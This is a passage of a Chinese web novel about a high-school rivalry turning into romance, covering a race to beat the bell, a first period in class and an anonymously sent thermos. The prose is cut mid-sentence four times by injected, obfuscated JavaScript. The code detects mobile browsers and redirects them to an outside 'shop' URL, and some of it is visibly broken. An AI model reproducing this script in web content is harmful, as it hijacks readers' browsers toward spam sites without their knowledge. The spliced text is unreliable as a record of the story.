究竟是她真的不漂亮,还是那些人不希望她漂亮,不得而知。 思来想去,她忽然觉得问谭恒澈也挺不靠谱的。 他和那些人有什么区别吗? 冯寂染问了他又不问他第二遍,让谭恒澈也憋了一口气在心里面,一路上都呼吸不畅。 她不知道一个女生问一个男生她长得好不好看是很暧昧的吗? 可他还就真觉得她好看。 不用她问,他在见到她的第一眼就觉得她好看了。 他们学校肤白貌美的女生很多,放眼望去数都数不完。 这个年纪的少男少女只要稍微有点青春朝气,都会在气质上加分。 人是喜新厌旧的视觉动物。 第一眼觉得好看不难,难得是长此以往看不腻。 冯寂染是少有的让他觉得既漂亮又耐看的女生。 他也不是学画画的,不知道怎么形容这种心动的感觉,就是无端觉得她这张脸不论从哪个角度看都很标致和谐。 他一路上都沉默着,看似心无旁骛,实则心猿意马。 冯寂染刚学会骑自行车,平衡掌握得奇差无比,整辆车晃得歪七扭八,任谁都看得出她是新手上路,不自觉地远离。 只有谭恒澈,遇到岔路口或者红绿灯,会不厌其烦地停下来等她。 他也不是完全在等她,就是心乱如麻,大脑处于接近宕机的状态,每一个举动都是由潜意识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12885186|134633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 控制的。 不知道算不算是心里有她。 每当他停下来,冯寂染都会猝不及防地刹车,用靠近他那侧的腿撑在地面上,同时朝他胳膊上撞一下。 少女体态轻盈,撞在他肌肉健硕的大臂上没什么痛觉,只是撞得他莫名心浮气躁。 短暂的肢体接触让他整个人都被细腻柔软的触感笼罩。 接触的点还没有他的指甲盖大,却嚣张地蔓延开来,一直延伸到他的心底。 冯寂染三番五次撞过来都是由于他停得太突然,并非不可避免,掌控权甚至是掌握在他手中的,要怪只能怪他自己。 谭恒澈深吸一口气,回过神来,努力让自己保持清醒,之后便不再急停了。 学校门口有车棚,自行车不能骑进学校里。 为了便于管理,每一辆车都需要在看车的大叔那里进行登记,交二十元办理车牌的费用,把拿到的车牌安在自行车上的显眼处。 谭恒澈的车去年来的时候就上牌了,可冯寂染的车还是新车,需要办车牌。 他忘了告知冯寂染这件事,路上走走停停又耽误了不少时间,几乎是办车牌就意味着迟到。 冯寂染身上的零花钱不够,问他借,说话的语气带着恳挚的请求,说得还很委婉:“这20块钱我回去就还你。你不用在这陪我了,先进去吧。” 她可没有忘记上一次谭家的司机送他们到学校,谭恒澈一下车就跟她划清了界线。 眼下谭恒澈听着她这番话,总觉得她在挤兑自己,嘶了一口凉气,就不听她的:“我把你扔这我先进去,你把我当什么人了?” 怎么?他还要陪她同甘共苦? 她一个迟到就行了,他还要陪她一起迟到,在老师和同学面前的目标不是一下就放大了,现在是有福同享有难同当的时候吗? 冯寂染不理解谭恒澈的迷惑行径,用“你是不是傻”的眼神看了他一眼,索性对看车的校工说:“叔叔,我们上学要迟到了,我把我的校牌放您这里,放学再问您要行吗?校牌上有我的姓名和班级,您慢慢登记。” 谭恒澈这才清醒过来,发现这样操作也是可行的,不由尴尬地看向别处,脚步却未移动分毫。 冯寂染看着他这副吃瘪的模样难得弯起了唇角,他似乎比她想象得更加真实。 冯寂染本来只是试探一下这个方法是否可行,毕竟校牌在学校里很重要,比如在图书馆上阅览课、理化生三门课进实验室、去食堂买早餐都用得上,只不过今天没有这些课,早饭她也可以不吃,再者要是在校工手上不小心遗失了,补办起来也很麻烦,校工不一定愿意承担这个责任和风险,没想到校工还真收下校牌了。 “放学了早点来拿,我只保管到中午十二点半。”校工跟她说了个具体时间。 “好的,谢谢叔叔。”冯寂染笑着感谢,说着朝校门口飞奔起来。 谭恒澈倏地一愣,没想到自己诚心对她,她转眼就背叛了自己,不禁咬牙切齿地在她身后喊:“冯寂染,你不等我!” 冯寂染头也不回:“你认清形势!要迟到了好吗?” 谭恒澈拔腿就追:“别让我追上你,追上你就完蛋了!” 冯寂染跑得比兔子都快。 别放狠话了。 追上她再说好吗? 她飞毛腿的名号不是吹的。 20. 秋思(二) 教导主任和学生会的同学一起站在门卫室旁,铜墙铁壁固若金汤。 “又踩点到!天天都能看到你俩!你俩不是一个班的吧?都快跑出感情了!” 教导主任张建圣叉腰训着面前眼熟的面孔,话音刚落,旁边几个学生会的成员都捂着嘴偷笑起来。 他正准备严肃问他们“笑什么笑”,忽然感到身后刮过一阵劲风,回头便见一个体态轻盈的女生健步如飞地跑向校园里,叫都叫不住。 下一秒,他瞳孔一缩,眼疾手快地伸手拦住紧随其后男生,一脸不可思议地问:“谭恒澈,你今天怎么也来这么晚?” 谭家家教严,家训里头一条就是诚信守时,谭恒澈从小就被培养出了良好的时间观念,就算他再像个混不吝的二世祖,也从不触犯校纪校规,尤其是跟时间相关的。 而且他教养好,尊师重道,不会因为自己成绩优异就恃才放旷,每次进出办公室都特别会来事,帮忙倒垃圾、拿教具、调投影,头脑比那些“书呆子”灵光,使唤别的学生都是说一句对方动一下,而事情交给他,总是能被办得周全妥当。 这样的孩子哪个老师不喜欢呢? 张建圣问的时候是脱口而出,回过神来就存了私心,马上松开他的胳膊鼓励道:“离上课还有两分钟,加油,快点跑,别迟到了。” 明理中学的预备铃声是《种太阳》,欢快的旋律在校园里响起,精准报时,张建圣压低了声音说的话似乎也随着铃声的节奏变得轻快了些许。 之前那两个被张建圣骂得狗血淋头的同学此刻脸上挂着一言难尽的神情,对视了一眼。 还能这样?双标得能再明显一点吗? 冯寂染本就不是为了躲避谭恒澈的追逐才夺路狂奔的。 她只是纯粹喜欢突破极限的刺激感,有一丝希望她都不会放弃,会尽力发挥自己的实力,争取在规定的时间达到标准。 谭恒澈不在她身后了她也没发现。 因为谭恒澈追不追她对于她来说都无关紧要,即便是谭恒澈在身后穷追不舍她也没有任何负担。 即将打预备铃,在校园里狂奔的不是一个两个,是一群,隐没在群体中的个体无法吸引旁人的注意,更别说旁人现在已经自顾不暇了。 谭恒澈追上也不能真拿她怎么样,顶多打一架,两败俱伤,说不定他自己还尴尬。 这一路冯寂染跑得毫无负担,脚下的步伐却越来越快。 超过了一个人、两个人、三个人…… 有几个体力不支的男生都被她遥遥甩在了身后。 他们的惊呼声很大,对她的议论不加掩饰,直接和着风声传进她的耳朵。 “这女生早饭吃什么了?跑这么快。” “他们班迟到了是要重新投胎吗?” “有人拿鞭子在我身后抽我也跑不了这么快。” “不理解,迟到就迟到呗,有什么大不了的,反正我们班的量化考核分也排年级倒数,也怨不得我拖后腿。” 这几个人的话谭恒澈也听见了。 他没被张建圣拦多久,加上腿长体力好,追上冯寂染轻轻松松。 只不过他追着追着就发现,追上冯寂染是件没有意义的事,他还真能掐着的她的后脖颈问她还背不背叛了吗? 上纲上线挺没意思的,闹着玩就更不妥帖了。 冯寂染要是个男生,他做什么都无所谓。 可她偏偏是个女生。 他们随便拉拉扯扯一下在旁人看来都是打情骂俏,指不定在学校里传成什么样。 他有脑子,做任何事情前都会仔细思考,把所有可能发生的后果都想到。 追上冯寂染跟她算账是所有做法里最不明智也不可取的,所以他觉得没必要。 但听了这几个男生说的话以后,他更清醒了一点。 他本该在大方向上权衡,现在别别扭扭在这些细节上纠结什么,不是该马上明确他现在跑步的动机和动力是什么吗? 是不迟到啊。 想明白了这点,他也不和冯寂染保持距离了,突然加速冲向教学楼。 原本落后于冯寂染的几个男生就看见一个身影“嗖”地一下从他们身边飞过去了,脑袋嗡嗡作响。 这是田径队的种子选手吧。 要不要这么拼? 这年头,怕迟到的人这么多吗? 胆儿也太小了吧。 冯寂染跑到教室时有点缺氧,牙齿酸疼,嘴里冒出丝丝缕缕腥甜的血腥味。 她抬头看了眼墙上的挂钟。 距离上课还有三十秒的时间。 教室里吵吵嚷嚷,周围的同学都在热切地聊着课外的生活话题,当然也有在为补昨晚没写完的作业奋战的。 用力过猛,体力透支,冯寂染耳畔里回荡着轻微的耳鸣,喘息了两秒才恢复听力,周遭的声音像潮水一样灌入她的耳里。 “《倩女幽魂》的手游公测了吧,听说有捏脸功能?听起来蛮有趣的。开服以后我们一起玩吧,挑一个名字好听一点的区。” “好啊,不过我每天只能玩两个小时手机,我爸妈会查我的手机使用时长。” “在哪能看《欢迎来到实力至上主义的教室》啊,我怎么到处都找不到资源。” “啊啊我也想知道到底是哪个平台买断了版权,我已经开了五个平台的会员了,每个月都还在续费,心疼我的压岁钱。” “这什么乐器啊?” “拇指琴。好学,有手就行。” “给我看看,我给你弹首小星星。” “许嵩十一月要开演唱会,我让我爸妈帮我黑幕几张门票,我们一起去吧。” “真的吗?!有你这样的朋友真是我前世修来的福气!” “姐!你还缺腿部挂件吗?能不能也给一张?” “我也要我也要!我拿漫展的限量周边换。” “这周末要不要去玩密室?” “还是剧本杀吧。我想玩换装的,试试温情本。密室太恐怖了,我是真的害怕。” 明明这些同龄女孩子说的每一个字她都认识,连在一起她却觉得陌生。 童年的缺失导致这些新鲜事物她统统没有概念,她无法加入她们的话题。 土。 她脑海里忽然浮现出这个字眼,然后就被冷不丁冒出的自卑感吓了一跳。 她从小镇来到城里,恶意是收到过的,可从来没人用“乡巴佬”、“土老帽”这种词嘲讽过她,她也不愿以这样有辱人格的贬义词来形容自己,可城里的同龄女生掌握的技能丰富,琴棋书画样样精通,生活也缤纷多彩。 此刻她几不可察地咬紧了唇,鲜红润泽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12903557|134633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的唇泛起了白。 真是可怕。 在成绩方面,她自信没几个人能比得过她,她能文能武,让人望尘莫及。 她已经足够优秀了,然而有一瞬间,她竟然毫无根据地认为别人体验过的东西都是好的。 她通过这些没有体验过的事物,被未知裹挟着,注意力继而从矢志不移的目标上转移到了被滤镜美化过的同龄女生上。 她们是家境优渥的白富美,她们与生俱来的优越感让她们非常在乎自己的感受,而在和她们对照观察中,冯寂染忽然发觉了潜藏在自己身上的深入骨髓的奴性。 她是从什么时候起连承认自己的羡慕和嫉妒都觉得羞耻的。 实际上只有在羡慕和嫉妒趋势人做损毁他人的事时才是卑劣的,这种情绪本身恰恰是攻击性和进取心的来源。 攻击性就是生命力,进取心就是立足之本。 她怎么能因为这么空泛的感觉舍弃掉对她来说最重要的东西。 未知的事物她是可以去了解的,她原本没有的东西也是可以后天获得的。 她没有必要焦虑自卑,觉得自己低人一等。 同样是人,她要做自己的主人。 她要让崇拜落在每一个仰视她的人脸上,而非在他人的光环下低头认输。 “叮铃铃——” 正式的上课铃声拽回了冯寂染的思绪。 她正要走向她自己的座位,一个女生一惊一乍地指着她的身后问:“你裤子上怎么都是血啊?” 糟糕,是月经初潮,被她跑出来了。 她是一年前就在琢磨她的月经初潮怎么比同龄人都来得晚,现在她终于等到了。 怪不得她感受到了一股粘腻潮湿,她还以为是分泌的汗液。 看,她知道的事情这些大小姐未必知道。 又或者是明知故问,有意无意当众给她难堪。 不管是有心还是无心,冯寂染都不会怯懦地把自己塞进地缝里。 她波澜不惊地歪头问说话的女生,一派气定神闲的样子,淡定地问道:“你那里有卫生巾吗?有的话能拜托你借我一张吗?” 女生却蓦地红了脸:“没有……你说什么呢,这种事怎么能光明正大地说出来?” “哦,这个时候知道害羞了,那刚才大声提醒她的时候怎么不知道害羞?”冯寂染是不会这么挖苦人的,可赵伊婷百无禁忌,给冯寂染提供卫生巾的时候,顺便对那个女生说,“不就是月经吗?跟谁没有似的。” 那个女生脸上红一阵白一阵,最终负气扭过头,恶狠狠地哼了一声。 趁着老师还没来,冯寂染赶紧拿着赵伊婷给的卫生巾去洗手间处理,谁知一跑出教室就和姗姗来迟的谭恒澈撞了个满怀。 薄薄的一片卫生巾在撞击下从她手中滑落到了地上。 谭恒澈垂眸望向地上的卫生巾。 冯寂染匆忙地捡起卫生巾。 说时迟那时快,谭恒澈脱下了自己的校服外套递给她:“裤子不能脱给你,但衣服行。” 冯寂染神色怪异地瞥了他一眼,迅速脱下自己的校服外套系在腰间,一口回绝:“我自己有,谢谢。” 说着便和他擦肩而过。 谭恒澈抬起舌尖舔了舔上牙,轻笑一声:“犟种。” 巧了,他也是。 21. 秋思(三) 冯寂染垫完卫生巾回来,顺利进入教室,坐在了自己的位置上,可自从她坐下起,就能感受到身下温热的液体汩汩地流。 腰很酸,小腹也很痛,她心不在焉地瞥了眼讲台上的老师,将自己的身体蜷缩起来,右手僵硬地握着笔,左手一会儿捂住小腹,一会儿又托住后腰,反反复复地折腾。 坐在她身旁的张耀毅嫌她的动作幅度太大,被她晃得心烦以来,不由盛气凌人地开口:“你能不能不要动了?碍着我听课了。” 张耀毅这次是真的想好好听讲,毕竟他的父母都是在教育界有头有脸的人物,平时盯他的学业盯得紧,还给他在课外也报了不少补习班,他的成绩要是稍有下降,免不得吃一顿皮带炒肉。 上回他兴风作浪的数学课,他没收敛,是因为数学是他的强项。 奈何这节课是语文,一门无论他怎么努力都难把分数提上去的学科,除了可以死记硬背的古诗词其他方面他都只能拿辛苦分和卷面分,还有男生学不好文科的debuff加成,教他们语文的老师又是他们班的班主任,他可不敢再惹是生非。 他说完这句话以后甚至小心翼翼地看了冯寂染一眼,生怕她再小题大做地碰瓷。 冯寂染却怏怏趴在了桌上,将左手放回了桌上,没有再在腰间逡巡。 张耀毅先前的冒犯的确惹得她心生不快,可这次她打扰对方学习也是显而易见的,她并没有因为过去的矛盾就和他起冲突。 生理上的痛苦让冯寂染无心再听课,她强迫自己分散注意力,望向了窗外随风摇曳的参天大树。 明理中学内部的绿化比镇上学校的强太多,校园几乎被葱茏的草木覆盖。 教学楼和行政楼相隔很近,远处是实验楼和图书馆。音乐教室、阶梯教室、体育馆、操场和礼堂在另外一片区域,坐在教室里是无法看到的。 又是一股热流涌出,冯寂染猛地深吸一口气,强撑着脆弱的身体,抵御小腹一阵又一阵袭来的阵痛。 痛经这么难受吗? 到底有什么办法能抵御这种生理上的痛苦? 她一向不愿展示自己脆弱的一面,来到新环境后更是勇往直前。 可是现在,她却被痛经折磨得冒出了一层冷汗,浑身都是湿哒哒的。 分明还没有到换季变天的时间,她的手脚却如身在冰窖里一样冰凉。 她一直以为来月经只是会流血,子宫内膜脱落竟然这么痛吗? 她只是来月经就这么痛了,乔明娥生她的时候该痛到什么程度? 赵伊婷听到张耀毅又在找茬,闻声扭过头,见到冯寂染惨白的脸色,不禁怔忡了一下,压低声音询问道:“你没事吧,要不要去医务室看看?” 冯寂染摇摇头。 他们在学校里就像是批量复制的流水线商品,只有走的人多的路才是路,另辟蹊径等同于开先河、享特权,把给人留下深刻印象的记忆点留在这么小的一件事上对她来说不是好事。 痛经几乎是每一个女孩子都会经历的,为了这么小的一件事去医务室,非但有可能无济于事,还会被说一句矫情。 她将来还要做很多惊天动地的大事,绝不能在这种事上贻笑大方。 现在已经上课了,去医务室的话要打报告,一定会吸引所有人的目光。 太招摇了,她不愿意。 况且身体上的痛是一阵一阵的,也不是不能忍。 让她难以接受的其实是,这种疼痛她今后每个月都得经历一次,一次持续好几天。 以后怎么办? 此时此刻,谁都没有注意到,在教室的另一端,谭恒澈握紧了手中的保温杯。 这个保温杯是今年夏初李悦容刚给他买的。 李悦容人到中年,血脉觉醒,迷上了中医调养,准时守在电视机前收看北京卫视的养生节目,给他买这个保温杯的目的就是让他别贪凉,一年四季都喝热水。 他表面上顺从,实际上每次打完球,喝的还是冰水,保温杯放他手里也是终年闲置。 望着冯寂染状态明显不佳的模样,他迟疑地摸索着保温杯的外壁。 说实话他很想看冯寂染受一次挫。 这种从泥淖里爬出来的人,本身就浑身脏兮兮、湿漉漉,就算再被泼一身脏水,对她来说都无所谓。 她会不遗余力地往高处爬,野蛮入侵,拼命生长,直到完全汲取周围所有的养分,在瘴气中盛放。 只要读过农夫与蛇的故事都会警醒,让这样一个人呆在自己身边是相当危险的,稍不留神就会遭到背刺。 相遇第一天他就被她反咬一口挨了家里人的训斥,后来她为了在班上立足又挑衅他夺走了体育委员的位置,日常的谈话也是吊足了他的胃口牵着他的鼻子走,还让他为她白白淋了一场雨。 而且就在今天早上,他还被她以玩笑的名义捅了一刀,被她无情地抛在了身后。 他们这段时间有很多旧怨没有清算,却不断地结着新仇。 她在班上也不安分,一来就得罪了她的同桌,驯服了他一年都没制服的死对头。 任何人在看到了这么可怕的心机、这么游刃有余地掌控力以后都会忌惮,不然他也不会在察觉威胁后被激起胜负欲。 可他自己都没想到自己竟然会主动提出跟她合作。 那种有她没她都对他没影响的合作。 这么多年了,他从没想过赢得过他爷爷的认可和青睐。 继承家业是要被拴上枷锁的,而他跟她一样向往自由。 他早就意识到了,他们是同类。 他不是跟她学的装,是本来就很擅长伪装,韬光养晦扮猪吃老虎是他们这些世家子弟的必修课。 哪怕是她招惹了他,他大多时候也对她很好不是吗? 心动确实是有的,只不过没超过理智而已,他仍然居高临下地观察着她,看她究竟想做什么。 最初被玩弄的愤怒已经消散了,他现在只觉得她特立独行的风格令他原本枯燥的校园生活多了许多乐趣。 明明应该只是这样,可他却无法做到对她的痛苦坐视不理。 她到底给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12928391|134633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他灌了什么迷魂汤? 一丝粗重的鼻息从谭恒澈俊挺的鼻尖擦过,他迟疑了片刻便下定决心,拧开两边的瓶盖,将塑料水杯里的矿泉水倒进保温杯里,把保温杯涮了涮。 今天艳阳高照,水泼在地上很快就会蒸发,值日的同学早上也没来得及拖地,他就当替值日生洗地了,扬手把保温杯里的废水泼在了脚边。 一滩水在桌腿边四下蔓延。 坐在他旁边的杜明宇惊慌失措地收回腿,横眉冷对,差点当场咆哮。 他看了眼站在讲台上的老师,忍着去揪谭恒澈领口的冲动,磨着牙,压低音量说:“你干什么,想打架是不是?真没素质,随地泼水,都溅我脚上了。” 谭恒澈冷淡地瞥了他一眼:“你当我没看见你刚才朝窗外扔纸团?” 杜明宇瞳孔一缩。 他可是宇宁集团未来的继承人,每次跟随父母在媒体面前出镜都表现得彬彬有礼,尽显绅士风度。要是让人知道他在学校连基本的素质都没有,竟然高空抛物,怕是会成为笑料。 平时在家,他一遇到不会做的题就焦躁,潜移默化地养成了乱扔东西的习惯,刚才的那张被揉成一团的草稿纸只是他下意识扔出去的,没想到会被谭恒澈看见,当成把柄。 一股巨大的羞耻感袭上心头,他咬紧牙关和谭恒澈对峙一番,只能屈辱地搬起身下的板凳,连同自己一起移得离谭恒澈更远了一点。 谭恒澈收回落在杜明宇身上的目光,扬手把保温杯递给身后的女生:“传过去帮忙接杯热水,稍微兑一点凉水,谢谢。” 他坐得离教室后面的饮水机并不远,拜托两三个人帮忙就能接到水。 女生爽快地答应:“好的澈哥。” 两分钟后,保温杯重新传到他手中。 保险起见,他拧开瓶盖检查了一下。 一缕滚烫的白雾袅袅腾起,喷到他手背上,灼热的温度让他条件反射地缩回了手。 开水。 没兑凉水。 他就知道不亲力亲为就会出岔子。 口头传话太不靠谱了。 他把杯口敞开,将保温杯放到桌角晾着,随即在不干胶便笺纸上潦草写下一行字,贴在保温杯上。 等水晾得凉一点了他才重新旋上杯盖,把保温杯向冯寂染的方向传。 没多久当事人冯寂染就莫名收到了一个装满热水的保温杯,像蔫了的茄子一样恹恹抬起眼,说了声“谢谢”。 收到的保温杯上贴着一张明黄色的便笺纸。 她对自己的姓名很敏感,一眼就看见上面写着“”给冯寂染”四个大字。 署名是杜明宇。 张耀毅忍不住凑过来看了一眼,嗤之以鼻:“杜明宇这个鸟人又在撩妹了。别信他啊。除了你,我们班上的女生都收到过他的情书,现在也轮到你了。不过这家伙什么时候下功夫练字了?字看起来好看了一点。” 冯寂染也察觉到字迹的异常了。 这个字体怎么看着有点眼熟? 像是出自某人的手笔。 22. 秋思(四) 每个人的字迹都有每个人特有的风格,写得再潦草,难以辨认,字形还是有迹可循的。 冯寂染几乎一眼就认出了便笺上的字是谭恒澈写的。 就是不知道这个保温杯是他给的,还是仅仅是便笺上的字是他帮忙题上去的。 听说他很乐于助人,风评全都指向他热心积极,学校里大大小小的活动都离不开他的参与,只是有点避讳女生。 不过,想确认也很好确认。 冯寂染扭头问张耀毅:“杜明宇是谭恒澈的同桌?” 才刚开学不久,她还没把班上的同学认全,起码有一半以上,她都不能将姓名和相貌对上号。 杜明宇她确实不认识,可她也没必要花功夫对号入座。 她的目的只是确认这个保温杯究竟是谁的。 现在已经上课了,谭恒澈没有闲心去帮离他太远的同学写便笺,这便笺不是他为自己写的,就是替周围的同学写的。 除了他同桌,他周围坐的都是女同学。 女同学倒是更可能给她送保温杯,但依照谭恒澈万花丛里过片叶不沾身的性格来说,大概率会为了避嫌,不会帮这种有手就行的忙。 而且听张耀毅的话锋,杜明宇明显是个男生,女孩子给她送温暖犯不着署男生的名。 凭上次体育课打篮球谭恒澈压着他同桌打的那股疯劲,他肯定也不会帮他同桌做这种事。 一番推理下来,她只要弄清楚杜明宇和谭恒澈的同桌是不是同一个人,就知道结果。 张耀毅两只耳朵还在听讲,心不在焉地回答道:“是啊。” 行。 就是谭恒澈送的。 送个保温杯还得假借他人的名头,一点也不光明正大,就这点出息? 锁定了保温杯的主人,冯寂染也没有动这个保温杯,只是将这个保温杯故意放在了显眼的桌角。 她甚至没有往斜后方的教室另一端看一眼。 送出保温杯的谭恒澈将冯寂染的一举一动看在眼里,倒吸了一口凉气。 从前他为别人付出,都是不求回报的举手之劳,更像是一种无所谓的施舍,随手把东西甩人碗里以后从不回头看结果。 这是他有生以来头一回破例回头。 不看不知道,一看他整个人都震惊了。 居然遇到了一个不领情的主。 谭恒澈劝自己不要生气。 不就跟平常一样,给了就给了,对方要不要是对方的选择,不要太在乎。 他就这样反反复复哄了自己一堂课,哄到最后发现自己还是计较,情不自禁地攥紧了拳。 她拒绝?都疼成那样了还拒绝? 这样除了显得她有骨气还能有什么效果?为了较劲就不顾身体的感受强撑着? 她这脑子里究竟怎么想的? 这还是一向尊重他人命运的他第一次想骂人。 今天中午的最后一堂课是计算机课。 计算机课是在机房上,机房在综合楼里,和体育课一样,也是要提前出发。 倒数第二节课的下课铃一打,一群人就脚底抹油般冲出了教室。 几秒后,又三五成群地冲回来拿落下的课本和鞋套。 赵伊婷从书包里翻出计算机教材扔到课桌上,弯腰拿出桌肚里的一卷一次性鞋套,正准备问冯寂染要不要一双,看到她依旧病怏怏的状态,再次出谋划策:“要不我还是陪你去医务室,让校医给你开点布洛芬吧。我吃过两回,镇痛是真的管用。” 张耀毅上完厕所回来,手上还在滴水,听到赵伊婷的话,都顾不上把手上的水擦干净就插嘴:“我妈说小孩子吃药不好,会让身体产生抗药性。” 赵伊婷高高举起课桌上的课本,重新砸回课桌上,造出磅礴的声势:“你妈说,你妈说,你自己没点主见?都听你妈的。” 张耀毅吊儿郎当地说:“听妈妈的话还有错了?” 说着迅速张开五指,将手上残余的水尽数弹到赵伊婷脸上。 赵伊婷避之不及,被溅了一脸洗手间里的水,当即气得面红耳赤,不由抄起课本:“张耀毅你想死是不是?” 大战一触即发。 冯寂染本来身体就不舒服,听这两个冤家在耳边吵架头更大,扶着额头说:“我没事,鞋套能借我一双吗?” 她问赵伊婷要鞋套,赵伊婷便只顾着给她鞋套,将陪她去医务室的想法抛在了脑后,也打消了暴捶张耀毅一顿的念头。 张耀毅欠揍地吹了长长一声催尿般的口哨,流里流气地挑了挑眉,把他妈亲手给他缝的棉质鞋套揣进裤兜里,又将自己的计算机课本夹在腋下,学着他们班某个女生走路的样子,妖娆地扭着臀走起猫步,跟有大病似的,轻佻中带着讥诮。 看着他这副贱样,赵伊婷实在没忍住,照准他的大腚狠狠踹了一脚。 “快滚!” 张耀毅踉跄两步扑倒在过道上,摔了个大马趴,迅速撑地,以一个蛙跳原地弹起,冲着赵伊婷耀武扬威:“别以为你是女的我就不敢打你!” 他说到做到。 可惜刚扬起手就被人捉住了手腕,随即爆发出断断续续的哀嚎。 “痛痛痛痛痛——” 谭恒澈面色阴郁地站在他身后,脸沉得能滴水,神色寡淡地说道:“我不是警告过你别惹事了吗?就这么贱,非要撩骚?微机课就别上了,我俩在教室里好好聊聊怎么样?” “不了……”张耀毅心虚了,在心里骂谭恒澈怎么每次都神出鬼没。 谭恒澈的家世他是知道的。 真惹急了这个阎王,他说不定就要去见阎王了,他爸妈总不能上阴曹地府里捞他,想给他讨公道也于事无补了。 张耀毅连滚带爬地跑了。 赵伊婷神色古怪地看了一眼谭恒澈,似乎对他每次都出现得这么及时感到疑惑不解。 不过她和谭恒澈也有正式要聊,开门见山地对他说:“谭恒澈,你每次拒绝别的班女生能不能稍微注意一点,不要选在正好轮到我们班负责打扫小树林的时候。你知不知道我们刚打扫完又凭空多出多少张卫生纸?敢情扣的不是咱们班的考核分?” 校园的卫生清洁归校工清理,但是校工多是临时工,日常还要干许多杂活,不可能像环卫工人那样起早贪黑地打扫卫生。 校内的编外流动人员不宜过多,人手有限,学校便将清扫的任务交给了学生,美其名曰“明理是我家,爱护靠大家”,要求学生每周进行一次义务劳动,给每个班级都划分了卫生责任。 其中就数小树林的地形复杂且与其他区域不同。 别的清洁区域都是建筑或广场,即使不是平地也是台阶,而小树林里坑坑洼洼,满是泥土,一脚踩上去,鞋底马上沾上一片泥。 稍微有点洁癖,打扫完鞋都不想要了。 而且一年四季都有昆虫出没。 有树上吊的,脚边爬的,眼前飞的,随机吓哭一个怕虫的女生。 关键是大多数都会咬人,一蛰就是一个红肿的大包,几天都消退不了,要是毒素的毒性再强点,残留在体内还会留疤。 没有一个班想摊上这样的麻烦。 日久天长,小树林这块就变成了公共的部分,每个班轮一天,很快就会轮完一轮。 小树林的面积大,打扫卫生的时候一个班都得出动。 小树林的地理位置位于教学楼和公厕中间,所以经常能在草丛里发现卫生纸团。 这些卫生纸在被丢弃之前都擦过什么不得而知。 但是现在,被赵伊婷全赖在了谭恒澈头上。 谭恒澈闻言倒没有着急撇清,只是笑了一声:“那我攒着拒?” 赵伊婷不置一词。 她故意这么说,就是想让冯寂染看清谭恒澈碎了多少位少女的芳心。 因为上次跑操时,冯寂染夸过谭恒澈的颜值,她怕冯寂染跟谭恒澈走得太近会步那些暗恋他的女生的后尘。 跟谭恒澈说太多话没好事,赵伊婷赶紧搀着虚弱的冯寂染溜之大吉。 谭恒澈望着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12943446|134633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人紧密依偎的背影,拿起了冯寂染课桌上的保温杯。 他把保温杯给她的时候有多少重量,现在拿起来就有多少重量。 杯里的水冯寂染是一口没喝。 所以说,他们两个现在的关系是他们商量好的合作关系吗? 她分明是像防贼一样防着他的,答应合作只是为了稳住他而已。 平心而论,他也没有坦诚相待。 可以说没有丝毫人与人之间的信任。 谁能想到他当初只是有点排斥家里突然闯入的不速之客,为她的没有礼貌而决心给她一点教训,结果由于他们双方都不甘示弱,发展到现在,本该单纯的校园生活,硬生生被他们弄成了复杂的人际交往难题。 要不他退一步试试? 谭恒澈焦躁地想。 他其实已经退让过了,换来的却是冯寂染的得寸进尺。 他最想不通的还是她怎么对自己也这么狠。 痛经对许多女孩来说是噩梦吧。 他虽然没有亲身体验过,但看着她们的样子也知道是十分痛苦的,不然不会连行动都困难了。 是因为缺爱,所以不信别人是真的关心她吗? 谭恒澈心情复杂,神色微妙。 严格的时间管理让他从小就学会了权衡利弊。 冯寂染的不坦诚占据了他太多的心力。 他的注意力从来没有像这样,被一个人牢牢吸引着,无心关注别的东西。 就算他的家世给了他保障,让他不论成绩如何都没有后顾之忧,无需全身心投入学习,他也不想任由自己的精力被这样把控。 死气沉沉也比被这样牵着走好啊。 他从前什么时候给人端过茶,倒过水,起步也是帮老师批改试卷,现在却卑微到连他自己都觉得不可置信了。 